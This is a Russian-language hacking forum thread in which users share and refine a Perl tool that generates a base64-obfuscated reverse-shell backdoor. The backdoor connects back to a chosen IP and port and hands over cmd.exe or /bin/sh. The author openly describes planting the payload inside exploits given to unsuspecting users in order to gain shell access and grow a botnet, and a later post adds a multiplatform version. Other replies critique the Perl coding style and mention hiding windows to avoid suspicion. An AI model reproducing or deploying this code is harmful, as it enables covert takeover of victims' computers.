Недавно начал учить перл я, в конечном итоге написал такой релизик... Сообственно в основе лежит простейший back-connect shell... Используя NetCat открываем у себя порт например 9999 nc.exe -lvvp 9999 Запускаем скрипт.. и следуем USAGE: [Parameters] : X:\name.pl IP PORT file [Example] : X:\name.pl 127.0.0.1 9999 exploit.pl Передаём все параметры через коммандую строку нашему файлу... Указываем свой IP адресс и порт.. далее файл в котором сохранится наш скрипт.. а сохраниться он в base64 ... (менее заметно.. и компактней) Далее втыкаем этот скриптик в любой exploit.. и разумеется даём.. скрипт киддису который упорно просит вас похекать какойнить форум... etc И.... о .. чудо... вы получили доступ к его cmd, а от cmd и до ftp недолеко... а там и пополнить ботнет недолго =)... P.S Как я и говорил... это не супер релиз а релизик... и что скрипт работает "без палева" тож трудно сказать... вообщем юзаем отписываемся... PHP: #!/usr/bin/perl ## C0d3d by slider ## Backdoor Reverse-Shell v1.3 ## http://antichat.ru if (@ARGV!=3) { print "\n" . '~' x 56 . "\n"; print "Backdoor Reverse-Shell \n\n"; print "\n" . '~' x 56 . "\n"; print "---USAGE:" .'-' x 47 ."\n\n"; print "[Parameters] : $0 IP PORT file \n"; print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n"; print '-' x 56 . "\n"; die("\n"); } print "---USAGE:" .'-' x 47 ."\n\n"; print "[Parameters] : $0 IP PORT file \n"; print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n"; print '~' x 56 . "\n"; $IP=@ARGV[0]; $PORT=@ARGV[1]; $NAME=@ARGV[2]; $TEXT= "open logg,\">expl~1.tmp\";". "print logg \"use IO::Socket;\";". "print logg \"use Socket; use FileHandle;\";". "print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";". "print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";". "print logg \"SOCKET->autoflush();\";". "print logg \"open(STDIN,'>&SOCKET');\";". "print logg \"open(STDOUT,'>&SOCKET');\";". "print logg \"open(STDERR,'>&SOCKET');\";". "print logg \"exec('cmd.exe');\";". "close logg;"; use MIME::Base64; $encoded = encode_base64($TEXT); print "[*] Injecting...\n"; open base64,">$NAME"; print base64 "\$payload='$encoded';"; print base64 "use MIME::Base64;"; print base64 "\$decoded = decode_base64(\$payload);"; print base64 "eval(\$decoded);"; print base64 "system(\'start perl expl~1.tmp\');"; print base64 "system(\'del expl~1.tmp\');"; close base64; print "[*] OK...\n\n"; print "$encoded"; ОБНОВЛЕНО ДО v1.3
Подстраивал под винду... и на ней же тестил... т.к небыло возможности работать в никсах... можно конешн изменить cmd.exe на /bin/sh + кой какие мелочи.. но нормально протестить я б несмог усё равно...
перл-коденг на троечку.. замечания: 1) зачем стока ненужных принтов?? 2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw.. 3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1] 4) юзайте -w 5) my - тоже полезная штука... за идею - плюсег )..
Столько принтов конечно не нужно. толку от них? Идея не нова, т к такие скрипты уже есть. Но за то что начал учить Перл и сделал что то работующее =))) тебе +
Странно, чего ж догда ActiveState Perl под винду продвигает? Почему CPAN постоянно пополняется? Почему знание администратором UNIX перла считается хорошим тоном? Почему 80% всех сплойтенгов на милворме на перле?
Ты на пути истинном Сорец к счастью я до конца читать не стал, после того как увидел нечто вроде Code: ~~~~~~~~~~~~~
ОК .. немного обновил... теперь не будут лезть "левые окна" и вызывать подозрения.. и убрал задержку....
Немного подпатчил, теперь ммультиплатформенно) Greetz: _slider_ PHP: #!/usr/bin/perl ## C0d3d by slider ## Multiplatform path by helios ## Backdoor Reverse-Shell v1.3.multiplatform ## http://antichat.ru if (@ARGV!=3) { print "\n" . '~' x 56 . "\n"; print "Backdoor Reverse-Shell \n\n"; print "\n" . '~' x 56 . "\n"; print "---USAGE:" .'-' x 47 ."\n\n"; print "[Parameters] : $0 IP PORT file \n"; print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n"; print '~' x 56 . "\n"; die("\n"); } $IP=$ARGV[0]; $PORT=$ARGV[1]; $NAME=$ARGV[2]; $TEXT= "open logg,\">expl~1.tmp\";". "print logg \"use IO::Socket;\";". "print logg \"use Socket; use FileHandle;\";". "print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";". "print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";". "print logg \"SOCKET->autoflush();\";". "print logg \"open(STDIN,'>&SOCKET');\";". "print logg \"open(STDOUT,'>&SOCKET');\";". "print logg \"open(STDERR,'>&SOCKET');\";". "if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}". "else{print logg \"exec('cmd.exe');\";}". "close logg;"; use MIME::Base64; $encoded = encode_base64($TEXT); print "[*] Injecting...\n"; open base64,">$NAME"; print base64 "\$payload='$encoded';"; print base64 "use MIME::Base64;"; print base64 "\$decoded = decode_base64(\$payload);"; print base64 "eval(\$decoded);"; print base64 "if (-f '/bin/sh' && -x '/bin/sh') {"; print base64 "system(\'perl expl~1.tmp &\');"; print base64 "system(\'rm -rf expl~1.tmp\');}"; print base64 "else {"; print base64 "system(\'call perl expl~1.tmp\');"; print base64 "system(\'del expl~1.tmp\');}"; close base64; print "[*] OK...\n\n"; print "$encoded";
if(-f '/bin/sh' && -x '/bin/sh') хотел трохан покритиковать вообщем под моей виндой почемуто флаги -f -x непашут незнаю почему -- модет винда такая хз --- вообщем лучше вбить проверку через readdir будет надежнее